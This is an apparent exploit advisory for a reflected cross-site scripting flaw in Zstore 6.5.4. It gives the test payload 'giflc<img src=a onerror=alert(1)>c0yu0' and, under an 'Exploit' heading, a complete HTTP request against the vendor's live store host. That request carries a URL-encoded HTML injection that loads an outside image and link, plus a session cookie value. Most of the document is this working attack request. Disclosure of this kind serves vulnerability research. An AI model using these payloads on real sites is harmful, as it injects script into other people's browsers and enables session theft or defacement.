Authored by nu11secur1ty

Zstore version 6.5.4 suffers from a cross site scripting vulnerability.

## Title: zstore-6.5.4 - XSS-Reflected
## Development: nu11secur1ty
## Date: 01.18.2023
## Vendor: https://zippy.com.ua/
## Software: https://github.com/leon-mbs/zstore/releases/tag/6.5.4
## Reproduce: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/zippy/zstore-6.5.4

## Description:
The value of manual insertion point 1 is copied into the HTML document
as plain text between tags.
The payload giflc<img src=a onerror=alert(1)>c0yu0 was submitted in
the manual insertion point 1.
This input was echoed unmodified in the application's response.


## STATUS: HIGH Vulnerability

[+] Exploit:
```GET
GET /index.php?p=App%2fPages%2fChatgiflc%3c%61%20%68%72%65%66%3d%22%68%74%74%70%73%3a%2f%2f%77%77%77%2e%6e%75%31%31%73%65%63%75%72%31%74%79%2e%63%6f%6d%2f%22%3e%3c%69%6d%67%20%73%72%63%3d%68%74%74%70%73%3a%2f%2f%6d%65%64%69%61%2e%74%65%6e%6f%72%2e%63%6f%6d%2f%2d%4b%39%73%48%78%58%41%62%2d%63%41%41%41%41%43%2f%73%68%61%6d%65%2d%6f%6e%2d%79%6f%75%2d%70%61%74%72%69%63%69%61%2e%67%69%66%22%3e%0a
HTTP/2
Host: store.zippy.com.ua
Cookie: PHPSESSID=f816ed0ddb0c43828cb387f992ac8521; last_chat_id=439
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="107", "Not=A?Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://store.zippy.com.ua/index.php?q=p:App/Pages/Main
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
```

## Proof and Exploit:
[href](https://streamable.com/tplz84)

## Reference:
[href](https://portswigger.net/web-security/cross-site-scripting/reflected)